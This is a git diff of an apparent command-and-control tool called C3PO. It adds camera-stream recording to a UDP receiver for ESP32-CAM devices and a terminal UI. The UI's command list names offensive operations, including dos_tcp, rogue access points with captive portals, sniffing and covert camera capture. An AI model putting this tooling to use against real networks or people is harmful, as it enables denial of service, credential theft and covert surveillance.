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 literal 0 HcmV?d00001 diff --git a/tools/c2/static/streams/192.168.1.47_58642.jpg b/tools/c2/static/streams/192.168.1.47_58642.jpg deleted file mode 100644 index 2004d22dc9653d6e7e871cec4fcb61866c051abb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1877 zcmbW0eN@tC6vrPxK(R7SY_68eYB?*JW^J=mrjA}by&PWvrPRvE)XFlgK!wW8&DK1w z)U=stLj?uYM5QEhm6h6j#}``WoSLBdP72CzzaMn!pZ&4z{?2pH^E>xG&-r}sy${p@ zy#@V7LZ$in(}NE)j)WWy z4Lcnbedg>rCM*6@!sW#8e@OcI+V#}5^cxwOxp#i$=H(ag_@#Ht#N`#0l6${Bdi9gmx%`L5M^7f9-uAV=8|LW@>cr&OR8=sh*Qooy?(IC1|0Ar8^`+wAB4(mcAJ-{Qn zQ0TMp!k8OjmpkGt+`RAyPc5=_x?pVSo|02iZL(s$_bBmDWD~(^rE|}!F+`eP*}oHZ z@qa1%Anc>AE-(*+f}4ji2dDLEv+R>ntd;nNI7TYB>ghQFJl8n-?VKX0Z!m zogOs}MTG2v!0qGNIzTB3?Vemv27!l!YF(pxZVkP1v-HFOo!cMk*AaS;vwLF;1c1HV zc|?P!b6#T)%DK$I#!f58d`_c_Ar#f1!F595HI@N^qcQC3%JDc+%1a(I?PHGcLk^|r z{&39h#$&RwDmPwSn!E}ELh9S&!QRt@vdQ^(5soogl5Cl?!fZNk7S$uQ9q|#0d^V-d`5k9X3)IOd7JT(lw6(EtN-QKgxqZg;e7r>E#U0Wl_~jx^e3gBSc2-AyGcreZy6$&#;qmQTR%s|f(}JlHO#*F@ayR*K zg`|hidV7XGknF55B~9O;n$512S#-mQvb?r^HYTC6|zew z($KIC0;+u<)75``BiThlCf1&@eX^e)MYC=!-(cUzXiFLZxrJ>mO+zZJltc zB;#67&(AHC)i7U z?sPJT;7A{W!yTgh_q09Bq(*mgC)i`WO2wVtfoo87}Z{Ir-HwRn_Qb2+TfO z9~cy}uPcuApsv1mb0)7XV8N`aoFWLcllQrZ$d;dlAIRmku|Nss4L=Ha`9}wqs{;>& zQ8vwaG?(g-zEL=3n`NHFb!XA-hFNmp>)%vrx_;!sI(pYpxfETs)~u5Wfn*o)uKB}e zfm;0RuCj^1tMA8^^>Wnp3a8(CR^=Mfk7pE6=n{XIgh(yPQBYe(VdcAXg#+{siLc6` zu-!91@3kL)YENN{@6^lQwbTF_Kf0C2ybxLXh9BL`8?0RR90C@9u bool: - """Add a chunk to the frame buffer. Returns False if timed out.""" if not self.receiving: return False if self.start_time and (time.time() - self.start_time) > self.timeout: @@ -47,7 +49,6 @@ class FrameAssembler: return True def finish_frame(self) -> Optional[bytes]: - """Finish frame assembly and return complete data.""" if not self.receiving or len(self.buffer) == 0: return None data = bytes(self.buffer) @@ -55,12 +56,89 @@ class FrameAssembler: return data def reset(self): - """Reset the assembler state.""" self.buffer = bytearray() self.start_time = None self.receiving = False +class CameraRecorder: + """Handles video recording for a single camera.""" + + def __init__(self, camera_id: str, output_dir: str): + self.camera_id = camera_id + self.output_dir = output_dir + self._writer: Optional[cv2.VideoWriter] = None + self._video_size: Optional[tuple] = None + self._recording = False + self._filename: Optional[str] = None + self._frame_count = 0 + self._start_time: Optional[float] = None + + @property + def is_recording(self) -> bool: + return self._recording + + @property + def filename(self) -> Optional[str]: + return self._filename + + @property + def duration(self) -> float: + if self._start_time: + return time.time() - self._start_time + return 0 + + @property + def frame_count(self) -> int: + return self._frame_count + + def start(self) -> str: + if self._recording: + return self._filename + + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S") + safe_id = self.camera_id.replace(":", "_").replace(".", "_") + self._filename = f"recording_{safe_id}_{timestamp}.avi" + self._recording = True + self._frame_count = 0 + self._start_time = time.time() + return self._filename + + def stop(self) -> dict: + if not self._recording: + return {"error": "Not recording"} + + self._recording = False + result = { + "filename": self._filename, + "frames": self._frame_count, + "duration": self.duration + } + + if self._writer: + self._writer.release() + self._writer = None + + self._video_size = None + return result + + def write_frame(self, frame: np.ndarray): + if not self._recording: + return + + if self._writer is None: + self._video_size = (frame.shape[1], frame.shape[0]) + fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC) + video_path = os.path.join(self.output_dir, self._filename) + self._writer = cv2.VideoWriter( + video_path, fourcc, VIDEO_FPS, self._video_size + ) + + if self._writer and self._writer.isOpened(): + self._writer.write(frame) + self._frame_count += 1 + + class UDPReceiver: """Receives JPEG frames via UDP from ESP camera devices.""" @@ -68,11 +146,13 @@ class UDPReceiver: host: str = UDP_HOST, port: int = UDP_PORT, image_dir: str = IMAGE_DIR, - on_frame: Optional[Callable] = None): + on_frame: Optional[Callable] = None, + device_registry=None): self.host = host self.port = port self.image_dir = image_dir - self.on_frame = on_frame # Callback when frame received + self.on_frame = on_frame + self.device_registry = device_registry self._sock: Optional[socket.socket] = None self._thread: Optional[threading.Thread] = None @@ -81,9 +161,12 @@ class UDPReceiver: # Frame assemblers per source address self._assemblers: Dict[str, FrameAssembler] = {} - # Video recording - self._video_writer: Optional[cv2.VideoWriter] = None - self._video_size: Optional[tuple] = None + # Per-camera recorders (keyed by device_id) + self._recorders: Dict[str, CameraRecorder] = {} + self._recordings_dir = os.path.join(os.path.dirname(image_dir), "recordings") + + # IP to device_id mapping cache + self._ip_to_device: Dict[str, str] = {} # Statistics self.frames_received = 0 @@ -91,10 +174,15 @@ class UDPReceiver: self.decode_errors = 0 self.packets_received = 0 - # Active cameras tracking - self._active_cameras: dict = {} # {camera_id: last_frame_time} + # Active cameras tracking: {device_id: {"last_frame": timestamp, "active": bool}} + self._active_cameras: Dict[str, dict] = {} os.makedirs(self.image_dir, exist_ok=True) + os.makedirs(self._recordings_dir, exist_ok=True) + + def set_device_registry(self, registry): + """Set device registry for IP to device_id lookup.""" + self.device_registry = registry @property def is_running(self) -> bool: @@ -102,21 +190,39 @@ class UDPReceiver: @property def active_cameras(self) -> list: - """Returns list of active camera identifiers.""" - return list(self._active_cameras.keys()) + """Returns list of active camera device IDs.""" + return [cid for cid, info in self._active_cameras.items() if info.get("active", False)] + + def _get_device_id_from_ip(self, ip: str) -> Optional[str]: + """Look up device_id from IP address using device registry.""" + # Check cache first + if ip in self._ip_to_device: + return self._ip_to_device[ip] + + # Look up in device registry + if self.device_registry: + for device in self.device_registry.all(): + if device.address and device.address[0] == ip: + self._ip_to_device[ip] = device.id + return device.id + + return None def start(self) -> bool: - """Start the UDP receiver thread.""" if self.is_running: return False self._stop_event.clear() self._thread = threading.Thread(target=self._receive_loop, daemon=True) self._thread.start() + + # Start timeout checker + self._timeout_thread = threading.Thread(target=self._timeout_checker, daemon=True) + self._timeout_thread.start() + return True def stop(self): - """Stop the UDP receiver and cleanup.""" self._stop_event.set() if self._sock: @@ -126,15 +232,15 @@ class UDPReceiver: pass self._sock = None - if self._video_writer is not None: - self._video_writer.release() - self._video_writer = None + for recorder in self._recorders.values(): + if recorder.is_recording: + recorder.stop() - # Clean up frame files self._cleanup_frames() - self._active_cameras.clear() self._assemblers.clear() + self._recorders.clear() + self._ip_to_device.clear() self.frames_received = 0 self.packets_received = 0 @@ -147,15 +253,43 @@ class UDPReceiver: except Exception: pass + def _timeout_checker(self): + """Check for camera timeouts and mark them as inactive.""" + while not self._stop_event.is_set(): + time.sleep(1) + now = time.time() + + for camera_id, info in list(self._active_cameras.items()): + last_frame = info.get("last_frame", 0) + was_active = info.get("active", False) + + if now - last_frame > CAMERA_TIMEOUT_SECONDS: + if was_active: + self._active_cameras[camera_id]["active"] = False + # Remove the frame file so frontend shows default image + self._remove_camera_frame(camera_id) + + def _remove_camera_frame(self, camera_id: str): + """Remove the frame file for a camera.""" + try: + filepath = os.path.join(self.image_dir, f"{camera_id}.jpg") + if os.path.exists(filepath): + os.remove(filepath) + except Exception: + pass + def _get_assembler(self, addr: tuple) -> FrameAssembler: - """Get or create a frame assembler for the given address.""" key = f"{addr[0]}:{addr[1]}" if key not in self._assemblers: self._assemblers[key] = FrameAssembler() return self._assemblers[key] + def _get_recorder(self, camera_id: str) -> CameraRecorder: + if camera_id not in self._recorders: + self._recorders[camera_id] = CameraRecorder(camera_id, self._recordings_dir) + return self._recorders[camera_id] + def _receive_loop(self): - """Main UDP receive loop with START/END protocol handling.""" self._sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) self._sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._sock.bind((self.host, self.port)) @@ -173,50 +307,45 @@ class UDPReceiver: self.packets_received += 1 - # Validate token if not data.startswith(SECRET_TOKEN): self.invalid_tokens += 1 continue - # Remove token prefix payload = data[len(SECRET_TOKEN):] assembler = self._get_assembler(addr) - camera_id = f"{addr[0]}_{addr[1]}" - # Handle protocol markers + # Try to get device_id from IP, fallback to IP if not found + ip = addr[0] + device_id = self._get_device_id_from_ip(ip) + if not device_id: + # Fallback: use IP (without port to avoid duplicates) + device_id = ip.replace(".", "_") + if payload == b"START": assembler.start_frame() continue elif payload == b"END": frame_data = assembler.finish_frame() if frame_data: - self._process_complete_frame(camera_id, frame_data, addr) + self._process_complete_frame(device_id, frame_data, addr) continue else: - # Regular data chunk if not assembler.receiving: - # No START received, try as single-packet frame (legacy) frame = self._decode_frame(payload) if frame is not None: - self._process_frame(camera_id, frame, addr) + self._process_frame(device_id, frame, addr) else: self.decode_errors += 1 else: assembler.add_chunk(payload) - # Cleanup if self._sock: self._sock.close() self._sock = None - if self._video_writer: - self._video_writer.release() - self._video_writer = None - print("[UDP] Receiver stopped") def _process_complete_frame(self, camera_id: str, frame_data: bytes, addr: tuple): - """Process a fully assembled frame.""" frame = self._decode_frame(frame_data) if frame is None: self.decode_errors += 1 @@ -224,23 +353,27 @@ class UDPReceiver: self._process_frame(camera_id, frame, addr) def _process_frame(self, camera_id: str, frame: np.ndarray, addr: tuple): - """Process a decoded frame.""" self.frames_received += 1 - self._active_cameras[camera_id] = time.time() + + # Update camera tracking + self._active_cameras[camera_id] = { + "last_frame": time.time(), + "active": True, + "addr": addr + } # Save frame self._save_frame(camera_id, frame) - # Record video if enabled - if VIDEO_ENABLED: - self._record_frame(frame) + # Record if recording is active for this camera + recorder = self._get_recorder(camera_id) + if recorder.is_recording: + recorder.write_frame(frame) - # Callback if self.on_frame: self.on_frame(camera_id, frame, addr) def _decode_frame(self, data: bytes) -> Optional[np.ndarray]: - """Decode JPEG data to OpenCV frame.""" try: npdata = np.frombuffer(data, np.uint8) frame = cv2.imdecode(npdata, cv2.IMREAD_COLOR) @@ -249,33 +382,87 @@ class UDPReceiver: return None def _save_frame(self, camera_id: str, frame: np.ndarray): - """Save frame as JPEG file.""" try: filepath = os.path.join(self.image_dir, f"{camera_id}.jpg") cv2.imwrite(filepath, frame) except Exception: pass - def _record_frame(self, frame: np.ndarray): - """Record frame to video file.""" - if self._video_writer is None: - self._video_size = (frame.shape[1], frame.shape[0]) - fourcc = cv2.VideoWriter_fourcc(*VIDEO_CODEC) - video_path = os.path.join(os.path.dirname(self.image_dir), VIDEO_PATH.split('/')[-1]) - self._video_writer = cv2.VideoWriter( - video_path, fourcc, VIDEO_FPS, self._video_size - ) + # === Recording API === - if self._video_writer and self._video_writer.isOpened(): - self._video_writer.write(frame) + def start_recording(self, camera_id: str) -> dict: + if camera_id not in self._active_cameras or not self._active_cameras[camera_id].get("active"): + return {"error": f"Camera {camera_id} not active"} + + recorder = self._get_recorder(camera_id) + if recorder.is_recording: + return {"error": "Already recording", "filename": recorder.filename} + + filename = recorder.start() + return {"status": "recording", "filename": filename, "camera_id": camera_id} + + def stop_recording(self, camera_id: str) -> dict: + if camera_id not in self._recorders: + return {"error": f"No recorder for {camera_id}"} + + recorder = self._recorders[camera_id] + if not recorder.is_recording: + return {"error": "Not recording"} + + result = recorder.stop() + result["camera_id"] = camera_id + result["path"] = os.path.join(self._recordings_dir, result["filename"]) + return result + + def get_recording_status(self, camera_id: str = None) -> dict: + if camera_id: + if camera_id not in self._recorders: + return {"camera_id": camera_id, "recording": False} + recorder = self._recorders[camera_id] + return { + "camera_id": camera_id, + "recording": recorder.is_recording, + "filename": recorder.filename, + "duration": recorder.duration, + "frames": recorder.frame_count + } + + result = {} + for cid, info in self._active_cameras.items(): + if info.get("active"): + recorder = self._get_recorder(cid) + result[cid] = { + "recording": recorder.is_recording, + "filename": recorder.filename if recorder.is_recording else None, + "duration": recorder.duration if recorder.is_recording else 0 + } + return result + + def list_recordings(self) -> list: + try: + files = [] + for f in os.listdir(self._recordings_dir): + if f.endswith(".avi"): + path = os.path.join(self._recordings_dir, f) + stat = os.stat(path) + files.append({ + "filename": f, + "size": stat.st_size, + "created": stat.st_mtime + }) + return sorted(files, key=lambda x: x["created"], reverse=True) + except Exception: + return [] def get_stats(self) -> dict: - """Return receiver statistics.""" + recording_count = sum(1 for r in self._recorders.values() if r.is_recording) + active_count = sum(1 for info in self._active_cameras.values() if info.get("active")) return { "running": self.is_running, "packets_received": self.packets_received, "frames_received": self.frames_received, "invalid_tokens": self.invalid_tokens, "decode_errors": self.decode_errors, - "active_cameras": len(self._active_cameras) + "active_cameras": active_count, + "active_recordings": recording_count } diff --git a/tools/c2/templates/cameras.html b/tools/c2/templates/cameras.html index 1b00670..7935ad6 100644 --- a/tools/c2/templates/cameras.html +++ b/tools/c2/templates/cameras.html @@ -14,45 +14,257 @@ {% if image_files %}
{% for img in image_files %} -
+
{{ img.replace('.jpg', '').replace('_', ':') }} - LIVE +
+ + LIVE +
- + +
+
{% endfor %}
{% else %} -
-

No active cameras

-

Waiting for ESP32-CAM devices to send frames on UDP port 5000

+
+
+ No Signal +

No active cameras

+

Waiting for ESP32-CAM devices to send frames on UDP port 5000

+
{% endif %} {% endblock %} {% block scripts %} + + {% endblock %} diff --git a/tools/c2/tui/__init__.py b/tools/c2/tui/__init__.py new file mode 100644 index 0000000..e426d03 --- /dev/null +++ b/tools/c2/tui/__init__.py @@ -0,0 +1,4 @@ +from tui.app import C3POApp +from tui.bridge import tui_bridge, TUIMessage, MessageType + +__all__ = ["C3POApp", "tui_bridge", "TUIMessage", "MessageType"] diff --git a/tools/c2/tui/app.py b/tools/c2/tui/app.py new file mode 100644 index 0000000..eb54460 --- /dev/null +++ b/tools/c2/tui/app.py @@ -0,0 +1,295 @@ +""" +Main C3PO TUI Application using Textual. +Multi-device view: all connected devices visible simultaneously. +""" +import time +from pathlib import Path + +from textual.app import App, ComposeResult +from textual.binding import Binding +from textual.containers import Horizontal, Vertical, Container, ScrollableContainer +from textual.widgets import Static + +from tui.bridge import tui_bridge, TUIMessage, MessageType +from tui.widgets.log_pane import GlobalLogPane, DeviceLogPane +from tui.widgets.command_input import CommandInput +from tui.widgets.device_tabs import DeviceTabs + + +class DeviceContainer(Container): + """Container for a single device with border and title.""" + + DEFAULT_CSS = """ + DeviceContainer { + height: 1fr; + min-height: 6; + border: solid $secondary; + border-title-color: $text; + border-title-style: bold; + } + """ + + def __init__(self, device_id: str, **kwargs): + super().__init__(**kwargs) + self.device_id = device_id + self.border_title = f"DEVICE: {device_id}" + + +class C3POApp(App): + """C3PO Command & Control TUI Application.""" + + CSS_PATH = Path(__file__).parent / "styles" / "c2.tcss" + + BINDINGS = [ + Binding("alt+g", "toggle_global", "Global", show=True), + Binding("ctrl+l", "clear_global", "Clear", show=True), + Binding("ctrl+q", "quit", "Quit", show=True), + Binding("escape", "focus_input", "Input", show=False), + Binding("tab", "tab_complete", show=False, priority=True), + ] + + def __init__(self, registry=None, cli=None, **kwargs): + super().__init__(**kwargs) + self.registry = registry + self.cli = cli + self._device_panes: dict[str, DeviceLogPane] = {} + self._device_containers: dict[str, DeviceContainer] = {} + self._device_modules: dict[str, str] = {} + + def compose(self) -> ComposeResult: + yield DeviceTabs(id="tab-bar") + + with Horizontal(id="main-content"): + # Left side: all devices stacked vertically + with Vertical(id="devices-panel"): + yield Static("Waiting for devices...", id="no-device-placeholder") + + # Right side: global logs + with Container(id="global-log-container") as global_container: + global_container.border_title = "GLOBAL LOGS" + yield GlobalLogPane(id="global-log") + + with Vertical(id="input-container"): + yield Static( + "Alt+G:Toggle Global ^L:Clear Logs ^Q:Quit Tab:Complete", + id="shortcuts-bar" + ) + yield CommandInput(id="command-input") + + def on_mount(self) -> None: + """Called when app is mounted.""" + tui_bridge.set_app(self) + self.set_interval(0.1, self.process_bridge_queue) + + cmd_input = self.query_one("#command-input", CommandInput) + if self.cli: + cmd_input.set_completer(self._make_completer()) + cmd_input.focus() + + global_log = self.query_one("#global-log", GlobalLogPane) + global_log.add_system(self._timestamp(), "C3PO TUI initialized - Multi-device view") + + def _make_completer(self): + """Create a completer function that works without readline.""" + ESP_COMMANDS = [ + "system_reboot", "system_mem", "system_uptime", "system_info", + "ping", "arp_scan", "proxy_start", "proxy_stop", "dos_tcp", + "fakeap_start", "fakeap_stop", "fakeap_status", "fakeap_clients", + "fakeap_portal_start", "fakeap_portal_stop", + "fakeap_sniffer_on", "fakeap_sniffer_off", + "cam_start", "cam_stop", "mlat", "trilat", + ] + + def completer(text: str, state: int) -> str | None: + if not 